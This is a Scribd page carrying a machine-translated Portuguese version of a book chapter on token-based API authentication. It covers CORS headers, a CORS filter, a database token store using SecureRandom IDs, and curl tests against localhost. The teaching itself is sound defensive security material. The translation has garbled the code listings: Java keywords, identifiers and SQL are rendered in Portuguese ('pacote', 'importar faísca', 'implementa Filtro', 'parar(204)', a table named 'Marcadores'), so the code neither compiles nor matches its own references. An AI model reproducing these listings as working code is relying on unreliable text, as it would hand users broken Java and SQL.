0% acharam este documento útil (0 voto)
53 visualizações

5 Modern Token-Based Authentication - API Security in Action

O documento discute autenticação moderna baseada em token, permitindo solicitações entre domínios diferentes com o padrão CORS. Ele explica como o CORS permite que alguns pedidos de origem cruzada sejam feitos e listar cabeçalhos CORS que controlam quais pedidos são permitidos.

Enviado por

Marcus Passos
Direitos autorais
© © All Rights Reserved
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
53 visualizações

5 Modern Token-Based Authentication - API Security in Action

O documento discute autenticação moderna baseada em token, permitindo solicitações entre domínios diferentes com o padrão CORS. Ele explica como o CORS permite que alguns pedidos de origem cruzada sejam feitos e listar cabeçalhos CORS que controlam quais pedidos são permitidos.

Enviado por

Marcus Passos
Direitos autorais
© © All Rights Reserved
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 78

Tópicos Comece a aprender Pesquise mais de 50.

000 cursos, even… O que há de novo

5 Autenticação moderna baseada em token


Este capítulocapas

Oferecendo suporte a clientes da Web entre domínios com CORS


Armazenando tokens usando a API de armazenamento da Web
O esquema padrão de autenticação Bearer HTTP para tokens
Protegendo o armazenamento de token do banco de dados

Com a adição do suporte a cookies de sessão, a Natter UI tornou-se uma experiên-


cia de usuário mais eficiente, impulsionando a adoção de sua plataforma. O mar-
keting comprou um novo nome de domínio, nat.tr, em uma tentativa fracassada
de atrair usuários mais jovens. Eles estão insistindo que os logins devem funcio-
nar nos domínios antigo e novo, mas suas proteções CSRF impedem que os coo-
kies de sessão usados ​no novo domínio conversem com a API no antigo. À medida
que a base de usuários cresce, você também deseja expandir para incluir aplicati-
vos móveis e de desktop. Embora os cookies funcionem muito bem para clientes
de navegadores da Web, eles são menos naturais para aplicativos nativos porque
o próprio cliente geralmente deve gerenciá-los. Você precisa ir além dos cookies e
considerar outras formas de gerenciar a autenticação baseada em token.
Neste capítulo, você aprenderá sobre alternativas aos cookies usandoHTML 5
Web Storage e o esquema padrão de autenticação Bearer para autenticação base-
ada em token. Você habilitará o compartilhamento de recursos entre origens
(CORS) para permitir solicitações entre domínios do novo site.

DEFINIÇÃO O compartilhamento de recursos de origem cruzada (CORS) é um


padrão para permitir que algumas solicitações de origem cruzada sejam permiti-
das por navegadores da web. Ele define um conjunto de cabeçalhos que uma API
pode retornar para informar ao navegador quais solicitações devem ser
permitidas.

Como você não usará mais o armazenamento de cookies integrado no Spark, de-
senvolverá um armazenamento de token seguro no banco de dados e verá como
aplicar a criptografia moderna para proteger os tokens de várias ameaças.

5.1 Permitindo solicitações entre domínios com CORS

Parahelp Marketing out com o novo nome de domínio, você concorda em investi-
gar como pode permitir que o novo site se comunique com a API existente. Como
o novo site tem uma origem diferente, a política de mesma origem (SOP) que você
aprendeu no capítulo 4 apresenta vários problemas para a autenticação baseada
em cookies:

A tentativa de enviar uma solicitação de login do novo site é bloqueada porque


o cabeçalho JSON Content-Type não é permitido pelo SOP.
Mesmo que você pudesse enviar a solicitação, o navegador ignorará qualquer
cabeçalho Set-Cookie em uma resposta de origem cruzada, portanto, o cookie
de sessão será descartado.
Você também não pode ler o token anti-CSRF, portanto, não pode fazer solicita-
ções do novo site, mesmo que o usuário já esteja logado.

Mudar para um mecanismo de armazenamento de token alternativo resolve ape-


nas o segundo problema, mas se você quiser permitir solicitações de origem cru-
zada para sua API de clientes de navegador, precisará resolver os outros. A solu-
ção é o padrão CORS, introduzido em 2013 para permitir que o SOP seja relaxado
para algumas solicitações de origem cruzada.

Existem várias maneiras de simular solicitações de origem cruzada em seu ambi-


ente de desenvolvimento local, mas a mais simples é apenas executar uma se-
gunda cópia da API e interface do usuário do Natter em uma porta diferente.
(Lembre-se de que uma origem é a combinação de protocolo, nome do host,e
porta, portanto, uma alteração em qualquer um deles fará com que o navegador o
trate como uma origem separada.) Para permitir isso, abra Main.java em seu edi-
tor e adicione a seguinte linha ao topo do método antes de criar qualquer rota
para permitir que o Spark use uma porta diferente:

port(args.length > 0 ? Integer.parseInt(args[0])


: spark.Service.SPARK_DEFAULT_PORT);
Agora você pode iniciar uma segunda cópia da IU do Natter executando o se-
guinte comando:

mvn clean compile exec:java -Dexec.args=9999

Se você agora abrir seu navegador da Web e navegar para


https://localhost:9999/natter.html, verá o formulário familiar do Natter Create
Space. Como a porta é diferente e as solicitações da API Natter violam o SOP, isso
será tratado como uma origem separada pelo navegador, portanto, qualquer ten-
tativa de criar um espaço ou login será rejeitada, com uma mensagem de erro
enigmática no console JavaScript sobre o bloqueio pela política CORS (figura 5.1).
Você pode corrigir isso adicionando cabeçalhos CORS às respostas da API para
permitir explicitamente algumas solicitações entre origens.

Figura 5.1 Um exemplo de erro de CORS ao tentar fazer uma solicitação de origem
cruzada que viola a política de mesma origem

5.1.1 Solicitações de simulação

Antes daCORS, navegadores bloquearam solicitações que violaram o SOP. Agora, o


navegador faz uma solicitação de simulação para perguntar ao servidor da ori-
gem de destino se a solicitação deve ser permitida, conforme mostrado na figura
5.2.

DEFINIÇÃO Uma solicitação de comprovação ocorre quando um navegador


normalmente bloqueia a solicitação por violar a política de mesma origem. O na-
vegador faz uma solicitação HTTP OPTIONSao servidor perguntando se a solicita-
ção deve ser permitida. O servidor pode negar a solicitação ou permitir com res-
trições nos cabeçalhos e métodos permitidos.

O navegador primeiro faz uma solicitação HTTP OPTIONS para o servidor de des-
tino. Inclui a origem do script que faz o pedido como o valor do cabeçalho Origin,
juntamente com alguns cabeçalhos que indicam o método HTTP do método solici-
tado (cabeçalho Access-Control-Request-Method) e quaisquer cabeçalhos fora do
padrão que estavam na solicitação original (Access-Control-Request-Headers).
Figura 5.2 Quando um script tenta fazer uma solicitação de origem cruzada que
seria bloqueada pelo SOP, o navegador faz uma solicitação de simulação CORS ao
servidor de destino para perguntar se a solicitação deve ser permitida. Se o servi-
dor concordar e quaisquer condições especificadas forem atendidas, o navegador
fará a solicitação original e permitirá que o script veja a resposta. Caso contrário,
o navegador bloqueia a solicitação.

O servidor responde enviando de volta uma resposta com cabeçalhos para indicar
quais solicitações de origem cruzada ele considera aceitáveis. Se a solicitação ori-
ginal não corresponder à resposta do servidor ou se o servidor não enviar ne-
nhum cabeçalho CORS na resposta, o navegador bloqueará a solicitação. Se a soli-
citação original for permitida, a API também pode definir cabeçalhos CORS na
resposta a essa solicitação para controlar quanto da resposta é revelada ao cli-
ente. Uma API pode, portanto, concordar em permitir solicitações de origem cru-
zada com cabeçalhos fora do padrão, mas impedir que o cliente leia oresposta.

5.1.2 Cabeçalhos CORS

oOs cabeçalhos CORS que o servidor pode enviar na resposta estão resumidos na
tabela 5.1. Você pode aprender mais sobre cabeçalhos CORS no excelente artigo da
Mozilla em https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS . O controle
de acesso-permitir-origeme cabeçalhos Access-Control-Allow-Credentialspode ser
enviado na resposta ao pedido de simulação e na resposta ao pedido real, en-
quanto os outros cabeçalhos são enviados apenas em resposta ao pedido de simu-
lação, conforme indicado na segunda coluna onde “Real” significa que o cabeça-
lho pode ser enviado em resposta à solicitação real, “Preflight” significa que pode
ser enviado apenas em resposta a uma solicitação de simulação e “Both” significa
que pode ser enviado em qualquer um.
Tabela 5.1 Cabeçalhos de resposta CORS

Cabeçalho Res- Descrição


CORS posta

Access- Am- Especifica uma única origem que deve ter acesso
Control- bos permitido, ou então o curinga * que permite o
Allow- acesso de qualquer origem.
Origin

Access- Com- Lista os cabeçalhos não simples que podem ser in-
Control- pro- cluídos em solicitações de origem cruzada para este
Allow- va- servidor. O valor curinga * pode ser usado para per-
Headers ção mitir quaisquer cabeçalhos.

Access- Com- Lista os métodos HTTP permitidos ou o curinga


Control- pro- * para permitir qualquer método.
Allow- va-
Methods ção

Access- Am- Indica se o navegador deve incluir credenciais na so-


Control- bos licitação. As credenciais, neste caso, significam coo-
Allow- kies do navegador, senhas HTTP Basic/Digest salvas e
Credenti- certificados de cliente TLS. Se definido como
als
true, nenhum dos outros cabeçalhos pode usar um
valor curinga.

Access- Com- Indica o número máximo de segundos que o navega-


Control- pro- dor deve armazenar em cache esta resposta CORS.
Max-Age va- Os navegadores normalmente impõem um limite
ção máximo codificado nesse valor de cerca de 24 horas
ou menos (o Chrome atualmente limita isso a apenas
10 minutos). Isso se aplica apenas aos cabeçalhos e
métodos permitidos.

Access- Real Apenas um pequeno conjunto de cabeçalhos básicos


Control- é exposto a partir da resposta a uma solicitação de
Expose- origem cruzada por padrão. Use este cabeçalho para
Headers expor quaisquer cabeçalhos não padrão que sua API
retorna em respostas.

DICA Se você retornar uma origem permitida específica no Access-Control-


Allow-Origin cabeçalho de resposta, também deverá incluir um Vary: Ori-
gin cabeçalho para garantir que o navegador e quaisquer proxies de rede arma-
zenem em cache apenas a resposta para essa origem de solicitação específica.

Como o cabeçalho Access-Control-Allow-Origin permite que apenas um único va-


lor seja especificado, se você deseja permitir o acesso de mais de uma origem, seu
servidor de API precisa comparar o cabeçalho Origin recebido em uma solicitação
com um conjunto permitido e , se corresponder, repita a origem na resposta. Se
você leu sobre Cross-Site Scripting (XSS) e ataques de injeção de cabeçalho no ca-
pítulo 2, pode estar preocupado em refletir um cabeçalho de solicitação de volta
na resposta. Mas, neste caso, você o faz somente após uma comparação exata com
uma lista de origens confiáveis, o que impede que um invasor inclua conteúdo
não confiável nessa listaresposta.

5.1.3 Adicionando cabeçalhos CORS à API Natter

Armadocom seu novo conhecimento de como o CORS funciona, agora você pode
adicionar cabeçalhos apropriados para garantir que a cópia da interface do usuá-
rio em execução em uma origem diferente possa acessar a API. Como os cookies
são considerados uma credencial pelo CORS, você precisa retornar um Access-
Control-Allow-Credentials: true cabeçalho das solicitações de comprova-
ção; caso contrário, o navegador não enviará o cookie de sessão. Conforme menci-
onado na última seção, isso significa que a API deve retornar a origem exata no
cabeçalho Access-Control-Allow-Origin e não pode usar curingas.

DICA Os navegadores também irão ignorar quaisquer cabeçalhos Set-Cookie na


resposta a uma solicitação CORS, a menos que a resposta contenha Access-Con-
trol-Allow-Credentials: true . Esse cabeçalho deve, portanto, ser retor-
nado nas respostas às solicitações de simulação e à solicitação real de cookies
para funcionar. Depois de mudar para métodos sem cookies mais adiante neste
capítulo, você pode remover esses cabeçalhos.
Para adicionar suporte a CORS, você implementará um filtro simples que lista um
conjunto de origens permitidas, mostrado na Listagem 5.1. Para todas as solicita-
ções, se o cabeçalho Origin na solicitação estiver na lista permitida, você deverá
definir os cabeçalhos básicos Access-Control-Allow-Origin e Access-Control-Allow-
Credentials. Se a solicitação for uma solicitação de simulação, ela poderá ser en-
cerrada imediatamente usando o halt() método Spark, porque nenhum proces-
samento adicional é necessário. Embora nenhum código de status específico seja
exigido pelo CORS, é recomendável retornar um erro 403 Forbidden para solicita-
ções de simulação de origens não autorizadas e uma resposta 204 No Content
para solicitações de simulação bem-sucedidas. Você deve adicionar cabeçalhos
CORS para quaisquer cabeçalhos e métodos de solicitação que sua API requer
para qualquer terminal. Como as respostas do CORS se relacionam a uma única
solicitação, você pode variar a resposta para cada endpoint da API, mas isso rara-
mente é feito. A API do Natter oferece suporte a solicitações GET, POST e DELETE,
então você deve listá-las. Você também precisa listar o cabeçalho Authorization
para que o login funcione e os cabeçalhos Content-Type e X-CSRF-Token para que
as chamadas API normais funcionem.

Cookies CORS e SameSite

Cookies do mesmo site, descritos no capítulo 4, são fundamentalmente incompatí-


veis com o CORS. Se um cookie for marcado como SameSite, ele não será enviado
em solicitações entre sites, independentemente de qualquer política CORS, e o ca-
beçalho Access-Control-Allow-Credentials será ignorado. Uma exceção é feita para
origens que são subdomínios do mesmo site; por exemplo, www.example.com
ainda pode enviar solicitações para api.example.com, mas solicitações genuínas
entre sites para diferentes domínios registráveis ​não são permitidas. Se você pre-
cisar permitir solicitações entre sites com cookies, não deverá usar cookies
SameSite.

Uma complicação ocorreu em outubro de 2019, quando o Google anunciou que


seu navegador Chrome começaria a marcar todos os cookies como SameSite=lax
por padrão com o lançamento do Chrome 80 em fevereiro de 2020. (No momento
em que escrevo, o lançamento dessa alteração foi temporariamente pausado de-
vido à pandemia de coronavírus COVID-19.) Se você deseja usar cookies entre si-
tes, agora deve desativar explicitamente as proteções SameSite adicionando os
atributos SameSite=none e Secure a esses cookies, mas isso pode causar proble-
mas em alguns navegadores da web (consulte
https://www.chromium.org/updates/same-site/clientes incompatíveis). Google, Ap-
ple e Mozilla estão se tornando mais agressivos no bloqueio de cookies entre sites
para evitar rastreamento e outros problemas de segurança ou privacidade. É
claro que o futuro dos cookies será restrito a solicitações HTTP dentro do mesmo
site e que abordagens alternativas, como as discutidas no restante deste capítulo,
devem ser usadas para todos os outros casos.
Para solicitações não simuladas, você pode permitir que a solicitação prossiga de-
pois de adicionar os cabeçalhos básicos de resposta do CORS. Para adicionar o fil-
tro CORS, navegue até src/main/java/com/manning/apisecurityinaction e crie um
novo arquivo chamado CorsFilter.java em seu editor. Digite o conteúdo da Lista-
gem 5.1 e clique em Salvar.
Listagem 5.1 Filtro CORS

pacote com.manning.apisecurityinaction;

importar faísca.*;
importar java.util.*;
importar spark.Spark.* estático;

class CorsFilter implementa Filtro {


private final Set<String> permitidoOrigins;

CorsFilter(Set<String> permitidoOrigins) {
this.allowedOrigins = permitidoOrigins;
}

@Sobrepor
public void handle(solicitação de solicitação, resposta de resposta) {
var origem = request.headers("Origem");
if (origem != null && permitidoOrigins.contains(origem)) { ❶
response.header("Access-Control-Allow-Origin", origem); ❶
response.header("Access-Control-Allow-Credentials", ❶
"true"); ❶
response.header("Varia", "Origem"); ❶
}

if (isPreflightRequest(pedido)) {
if (origin == null || !allowedOrigins.contains(origin)) { ❷
halt(403); ❷
}
response.header("Access-Control-Allow-Headers",
"Tipo de conteúdo, autorização, X-CSRF-Token");
response.header("Access-Control-Allow-Methods",
"GET, POST, DELETE");
parar(204); ❸
}
}

private boolean isPreflightRequest(Request request) {


return "OPÇÕES".equals(request.requestMethod()) && ❹
request.headers().contains("Access-Control-Request-Method"); ❹
}
}

❶ Se a origem for permitida, adicione os cabeçalhos CORS básicos à resposta.

❷ Se a origem não for permitida, rejeite a solicitação de comprovação.

❸ Para solicitações de comprovação permitidas, retorne um status 204 Sem


conteúdo.

❹ As solicitações de comprovação usam o método HTTP OPTIONS e incluem o cabe-


çalho do método de solicitação CORS.
Para ativar o filtro CORS, você precisa adicioná-lo ao método principal como um
Spark before () filtro, para que seja executado antes que a solicitação seja pro-
cessada. As solicitações de simulação CORS devem ser tratadas antes da autentica-
ção de solicitações de API porque as credenciais nunca são enviadas em uma soli-
citação de simulação, portanto, caso contrário, sempre falharia. Abra o arquivo
Main.java em seu editor (ele deve estar ao lado do novo arquivo CorsFilter.java
que você acabou de criar) e localize o método main. Adicione a seguinte chamada
ao método main logo após o filtro de limitação de taxa que você adicionou no ca-
pítulo 3:

var rateLimiter = RateLimiter.create(2.0d); ❶


before((pedido, resposta) -> { ❶
if (!rateLimiter.tryAcquire()) { ❶
halt(429); ❶
}
});
before(new CorsFilter(Set.of("https://localhost:9999"))); ❷

❶ O filtro de limitação de taxa existente

❷ O novo filtro CORS

Isso garante que o novo servidor de interface do usuário em execução na porta


9999 possa fazer solicitações à API. Se agora você reiniciar o servidor de API na
porta 4567 e tentar novamente fazer solicitações da IU alternativa na porta 9999,
poderá fazer login. No entanto, se você tentar criar um espaço agora, a solicitação
será rejeitada com uma resposta 401 e você voltará à página de login!

DICA Você não precisa listar a IU original em execução na porta 4567, porque ela
é fornecida da mesma origem da API e não estará sujeita a verificações de CORS
pelo navegador.

O motivo do bloqueio da requisição se deve a outro detalhe sutil ao habilitar o


CORS com cookies. Além da API retornar Access-Control-Allow-Credentials na res-
posta à solicitação de login, o cliente também precisa informar ao navegador que
espera credenciais na resposta. Caso contrário, o navegador ignorará o cabeçalho
Set-Cookie, apesar do que a API diz. Para permitir cookies na resposta, o cliente
deve definir o credentials campona solicitação de busca para include . Abra
o arquivo login.js em seu editor e altere a solicitação de busca na função de login
para o seguinte. Salve o arquivo e reinicie a interface do usuário em execução na
porta 9999 para testar as alterações:

fetch(apiUrl + '/sessões', {
método: 'POST',
credenciais: 'incluir', ❶
cabeçalhos: {
'Tipo de conteúdo': 'aplicativo/json',
'Autorização': credenciais
}
})
❶ Defina o campo de credenciais como “incluir” para permitir que a API defina coo-
kies na resposta.

Se agora você fizer login novamente e repetir a solicitação para criar um espaço,
será bem-sucedido porque o cookie e o token CSRF estão finalmente presentes
noasolicitar.

questionário

1. Dado um aplicativo de página única em execução em


https://www.example.com/app e um endpoint de login de API baseado em coo-
kie em https://api.example.net/login, quais cabeçalhos CORS além de Access-
Control-Allow-Origin são necessários para permitir que o cookie seja lem-
brado pelo navegador e enviado em solicitações de API subsequentes?
1. Access-Control-Allow-Credentials: true apenas na resposta real.
2. Access-Control-Expose-Headers: Set-Cookie na resposta real.
3. Access-Control-Allow-Credentials: true apenas na resposta pré-
voo.
4. Access-Control-Expose-Headers: Set-Cookie na resposta pré-voo.
5. Access-Control-Allow-Credentials: true na resposta pré-voo e Ac-
cess-Control-Allow-Credentials: true na resposta real.

A resposta está no final do capítulo.


5.2 Tokens sem cookies

Comum pouco de trabalho duro no CORS, você conseguiu fazer os cookies funcio-
narem no novo site. Algo lhe diz que o trabalho extra que você precisava fazer
apenas para fazer os cookies funcionarem é um mau sinal. Você gostaria de mar-
car seus cookies como SameSite como uma defesa em profundidade contra ata-
ques CSRF, mas os cookies SameSite são incompatíveis com CORS. O navegador
Safari da Apple também está bloqueando agressivamente cookies em algumas so-
licitações entre sites por motivos de privacidade, e alguns usuários estão fazendo
isso manualmente por meio de configurações e extensões do navegador. Portanto,
embora os cookies ainda sejam uma solução viável e simples para clientes da Web
no mesmo domínio de sua API, o futuro parece sombrio para cookies com clientes
de origem cruzada. Você pode preparar sua API para o futuro mudando para um
formato alternativo de armazenamento de token.

Os cookies são uma opção atraente para clientes baseados na Web porque forne-
cem os três componentes necessários para implementar a autenticação baseada
em token em um pacote pré-empacotado simples (figura 5.3):

Uma maneira padrão de comunicar tokens entre o cliente e o servidor, na


forma dos cabeçalhos Cookie e Set-Cookie. Os navegadores manipularão esses
cabeçalhos para seus clientes automaticamente e garantirão que eles sejam en-
viados apenas para o site correto.
Um local de armazenamento conveniente para tokens no cliente, que persiste
em carregamentos de página (e recarregamentos) e redirecionamentos. Os coo-
kies também podem sobreviver a uma reinicialização do navegador e podem
até ser compartilhados automaticamente entre dispositivos, como com a funci-
onalidade Handoff da Apple. 1
Armazenamento simples e robusto do lado do servidor do estado do token, já
que a maioria das estruturas da Web oferece suporte ao armazenamento de co-
okies pronto para uso, assim como o Spark.
Figura 5.3 Os cookies fornecem os três principais componentes da autenticação
baseada em token: armazenamento de token do lado do cliente, estado do lado do
servidor e uma maneira padrão de comunicar cookies entre o cliente e o servidor
com os cabeçalhos Set-Cookie e Cookie.

Portanto, para substituir os cookies, você precisará substituir cada um desses três
aspectos, que é o assunto deste capítulo. Por outro lado, os cookies vêm com pro-
blemas únicos, como ataques CSRF, que geralmente são eliminados ao se mudar
para um esquema alternativo.
5.2.1 Armazenando o estado do token em um banco de dados

Agoraque abandonou os cookies, você também perde o armazenamento simples


do lado do servidor implementado pelo Spark e outras estruturas. A primeira ta-
refa então é implementar uma substituição. Nesta seção, você implementará
um DatabaseTokenStore que armazena o estado do token em uma nova tabela
de banco de dados no banco de dados SQL existente.

Bancos de dados alternativos de armazenamento de token

Embora o armazenamento do banco de dados SQL usado neste capítulo seja ade-
quado para fins de demonstração e APIs de baixo tráfego, um banco de dados re-
lacional pode não ser a escolha perfeita para todas as implantações. Os tokens de
autenticação são validados em cada solicitação, portanto, o custo de uma transa-
ção de banco de dados para cada pesquisa pode aumentar em breve. Por outro
lado, os tokens geralmente têm uma estrutura extremamente simples, portanto,
não precisam de um esquema de banco de dados complicado ou de restrições de
integridade sofisticadas. Ao mesmo tempo, o estado do token raramente muda
após a emissão de um token, e um novo token deve ser gerado sempre que quais-
quer atributos sensíveis à segurança forem alterados para evitar ataques de fixa-
ção de sessão. Isso significa que muitos usos de tokens também não são afetados
por preocupações de consistência.

Por esses motivos, muitas implementações de produção de armazenamento de to-


ken optam por back-ends de banco de dados não relacionais, como o armazena-
mento de valor-chave na memória Redis ( https:// redis.io ) ou um armazena-
mento NoSQL JSON que enfatiza a velocidade e a disponibilidade.

Qualquer que seja o back-end de banco de dados que você escolher, você deve ga-
rantir que ele respeite a consistência em um aspecto crucial: exclusão de token. Se
um token for excluído devido a uma suspeita de violação de segurança, ele não
deverá voltar à vida mais tarde devido a uma falha no banco de dados. O projeto
Jepsen ( https://jepsen.io/analyses ) fornece análises e testes detalhados das pro-
priedades de consistência de muitos bancos de dados.
Um token é uma estrutura de dados simples que deve ser independente de depen-
dências de outras funcionalidades em sua API. Cada token possui um ID de token
e um conjunto de atributos associados a ele, incluindo o nome de usuário do usuá-
rio autenticado e o tempo de expiração do token. Uma única tabela é suficiente
para armazenar essa estrutura, conforme a Listagem 5.2. O ID do token, nome de
usuário e expiração são representados como colunas individuais para que possam
ser indexados e pesquisados, mas todos os atributos restantes são armazenados
como um objeto JSON serializado em uma string ( varchar ) coluna. Se você pre-
cisasse pesquisar tokens com base em outros atributos, poderia extrair os atribu-
tos em uma tabela separada, mas na maioria dos casos essa complexidade extra
não é justificada. Abra o arquivo schema.sql em seu editor e inclua a definição da
tabela na parte inferior. Certifique-se também de conceder as permissões apropri-
adas ao usuário do banco de dados Natter.

Listagem 5.2 O esquema do banco de dados de token


Marcadores CREATE TABLE(
token_id VARCHAR(100) CHAVE PRIMÁRIA,
user_id VARCHAR(30) NÃO NULO, ❶
expiração TIMESTAMP NÃO NULO,
atributos VARCHAR(4096) NOT NULL ❷
);
GRANT SELECT, INSERT, DELETE ON tokens TO natter_api_user; ❸

❶ Vincule o token ao ID do usuário.

❷ Armazene os atributos como uma string JSON.

❸ Conceda permissões ao usuário do banco de dados Natter.

Com o esquema de banco de dados criado, agora você pode implementar o Data-
baseTokenStore para usá-lo. A primeira coisa que você precisa fazer ao emitir
um novo token é gerar um novo ID de token. Você não deve usar uma sequência
de banco de dados normal para isso, porque os IDs de token devem ser difíceis de
adivinhar para um invasor. Caso contrário, um invasor pode simplesmente espe-
rar que outro usuário faça login e adivinhar o ID de seu token para sequestrar sua
sessão. IDs gerados por sequências de banco de dados tendem a ser extrema-
mente previsíveis, muitas vezes apenas um simples valor inteiro incrementado.
Para ser seguro, um ID de token deve ser gerado com alto grau de entropiade um
criptograficamente segurogerador de números aleatórios(RNG). Em Java, isso sig-
nifica que os dados aleatórios devem vir de um SecureRandom objeto. Em outros
idiomas, você deve ler os dados de /dev/urandom (no Linux) ou de uma chamada
de sistema operacional apropriada, como getrandom(2) no Linux
ou RtlGenRandom () no Windows.

DEFINIÇÃO Em segurança da informação, entropiaé uma medida de quão pro-


vável é que uma variável aleatória tenha um determinado valor. Quando se diz
que uma variável tem 128 bits de entropia, isso significa que há uma chance de 1
em 2128 de ela ter um valor específico em vez de qualquer outro valor. Quanto
mais entropia uma variável tiver, mais difícil será adivinhar seu valor. Para valo-
res de longa duração que não devem ser adivinhados por um adversário com
acesso a grandes quantidades de poder de computação, uma entropia de 128 bits
é um mínimo seguro. Se sua API emitir um número muito grande de tokens com
tempos de expiração longos, considere uma entropia maior de 160 bits ou mais.
Para tokens de curta duração e uma API com limitação de taxa em solicitações de
validação de token, você pode reduzir a entropia para reduzir o tamanho do to-
ken, mas isso raramente vale a pena.

E se eu ficar sem entropia?

É um mito persistente que os sistemas operacionais podem de alguma forma ficar


sem entropia se você ler muito do dispositivo aleatório. Isso geralmente leva os
desenvolvedores a criar soluções alternativas elaboradas e desnecessárias. Nos pi-
ores casos, essas soluções alternativas reduzem drasticamente a entropia, tor-
nando os IDs de token previsíveis. A geração de dados aleatórios criptografica-
mente seguros é um tópico complexo e não algo que você deve tentar fazer sozi-
nho. Uma vez que o sistema operacional tenha reunido cerca de 256 bits de dados
aleatórios, de intervalos de interrupção e outras observações de baixo nível do
sistema, ele pode gerar alegremente dados altamente imprevisíveis até a morte
térmica do universo. Existem duas exceções gerais a esta regra:

Quando o sistema operacional é iniciado pela primeira vez, ele pode não ter
reunido entropia suficiente e, portanto, os valores podem ser temporariamente
previsíveis. Isso geralmente é uma preocupação apenas para serviços de nível
de kernel que são executados muito cedo na sequência de inicialização. o
linux getrandom () A chamada do sistema será bloqueada neste caso até que
o SO tenha reunido entropia suficiente.
Quando uma máquina virtual é retomada repetidamente de um instantâneo,
ela terá um estado interno idêntico até que o sistema operacional repasse o ge-
rador de dados aleatórios. Em alguns casos, isso pode resultar em uma saída
idêntica ou muito semelhante do dispositivo aleatório por um curto período de
tempo. Embora seja um problema genuíno, é improvável que você faça um tra-
balho melhor do que o sistema operacional para detectar ou lidar com essa
situação.

Resumindo, confie no sistema operacional porque a maioria dos geradores de da-


dos aleatórios do sistema operacional são bem projetados e fazem um bom traba-
lho ao gerar resultados imprevisíveis. Você deve evitar o dispositivo /dev/ random
no Linux porque ele não gera uma saída de melhor qualidade do que /dev/ uran-
dom e pode bloquear seu processo por longos períodos de tempo. Se você quiser
saber mais sobre como os sistemas operacionais geram dados aleatórios com se-
gurança, consulte o capítulo 9 de Cryptography Engineering de Niels Ferguson,
Bruce Schneier e Tadayoshi Kohno (Wiley, 2010).
Para Natter, você usará IDs de token de 160 bits gerados com um SecureRando-
m objeto. Primeiro, gere 20 bytes de dados aleatórios usando o nextBytes() mé-
todo. Em seguida, você pode codificar em base64url para produzir uma string ale-
atória segura para URL:

string privada randomId() {


var bytes = novo byte[20]; ❶
new SecureRandom().nextBytes(bytes); ❶
return Base64url.encode(bytes); ❷
}

❶ Gera 20 bytes de dados aleatórios do SecureRandom.

❷ Codifique o resultado com codificação Base64 segura para URL para criar uma
string.

A Listagem 5.3 mostra o DatabaseTokenStore implementação. Depois de criar


um ID aleatório, você pode serializar os atributos do token em JSON e inserir os
dados na tokens tabelausando a biblioteca Dalesbred apresentada no capítulo 2.
Ler o token também é simples usando uma consulta Dalesbred. Um método auxi-
liar pode ser usado para converter os atributos JSON de volta em um mapa para
criar o objeto Token. Dalesbred chamará o método para a linha correspondente
(se houver), que pode executar a conversão JSON para construir o token real. Para
revogar um token ao sair, basta excluí-lo do banco de dados. Navegue até
src/main/java/com/manning/apisecurityinaction/token e crie um novo arquivo
chamado DatabaseTokenStore.java. Digite o conteúdo da listagem 5.3 e salve o
novo arquivo.

Listagem 5.3 O DatabaseTokenStore

pacote com.manning.apisecurityinaction.token;

import org.dalesbred.Database;
import org.json.JSONObject;
import spark.Request;

import java.security.SecureRandom;
importar java.sql.*;
importar java.util.*;

public class DatabaseTokenStore implementa TokenStore {


banco de dados de banco de dados final privado;
private final SecureRandom secureRandom; ❶

public DatabaseTokenStore(banco de dados do banco de dados) {


this.database = banco de dados;
this.secureRandom = new SecureRandom(); ❶
}
string privada randomId() {
var bytes = novo byte[20]; ❷
secureRandom.nextBytes(bytes); ❷
return Base64url.encode(bytes); ❷
}

@Sobrepor
public String create(Solicitação de solicitação, Token token) {
var tokenId = randomId(); ❷
var attrs = new JSONObject(token.attributes).toString(); ❸

database.updateUnique("INSERT INTO " +


"tokens(token_id, user_id, expiração, atributos)" +
"VALUES(?, ?, ?, ?)", tokenId, token.username,
token.expiry, attrs);

retorna tokenId;
}

@Sobrepor
public Opcional<Token> read(Request request, String tokenId) {
return database.findOptional(this::readToken, ❹
"SELECT user_id, expiração, atributos" +
"FROM tokens WHERE token_id = ?", tokenId);
}

token privado readToken(ResultSet resultSet) ❹


throws SQLException { ❹
var username = resultSet.getString(1); ❹
var expiração = resultSet.getTimestamp(2).toInstant(); ❹
var json = new JSONObject(resultSet.getString(3)); ❹

var token = new Token(expiração, nome de usuário); ❹


for (var key : json.keySet()) { ❹
token.attributes.put(key, json.getString(key)); ❹
} ❹
token de retorno; ❹
}

@Sobrepor
public void revoke(Solicitação de solicitação, String tokenId) {
database.update("DELETE FROM tokens WHERE token_id = ?", ❺
tokenId); ❺
}
}

❶ Use um SecureRandom para gerar IDs de token indecifráveis.

❷ Use um SecureRandom para gerar IDs de token indecifráveis.

❸ Serialize os atributos do token como JSON.

❹ Use um método auxiliar para reconstruir o token do JSON.

❺ Revogue um token ao sair, excluindo-o do banco de dados.


Tudo o que resta é conectar o DatabaseTokenStore no lugar do CookieTokenS-
tore . Abra Main.java em seu editor e localize as linhas que criam o arquivo Co-
okieTokenStore . Substitua-os pelo código para criar o DatabaseTokenStore ,
passando o objeto Dalesbred Database:

var databaseTokenStore = new DatabaseTokenStore(banco de dados);


TokenStore tokenStore = banco de dadosTokenStore;
var tokenController = new TokenController(tokenStore);

Salve o arquivo e reinicie a API para ver o novo formato de armazenamento de


token em funcionamento.

DICA Para garantir que o Java use o dispositivo /dev/urandom sem bloqueio para
propagar a SecureRandom classe, passe a opção -Djava.security.egd=file:
/dev/urandom para a JVM. Isso também pode ser configurado no arquivo de pro-
priedades java.security em sua instalação Java.

Primeiro crie um usuário de teste, como sempre:

curl -H 'Tipo de conteúdo: aplicativo/json' \


-d '{"nome de usuário":"teste","senha":"senha"}' \
https://localhost:4567/users

Em seguida, chame o endpoint de login para obter um token de sessão:


$ curl -i -H 'Tipo de conteúdo: aplicativo/json' -u teste:senha \
-X POST https://localhost:4567/sessions
HTTP/1.1 201 Criado
Data: quarta-feira, 22 de maio de 2019 15:35:50 GMT
Tipo de conteúdo: aplicativo/json
X-Content-Type-Options: nosniff
X-XSS-Proteção: 1; modo=bloco
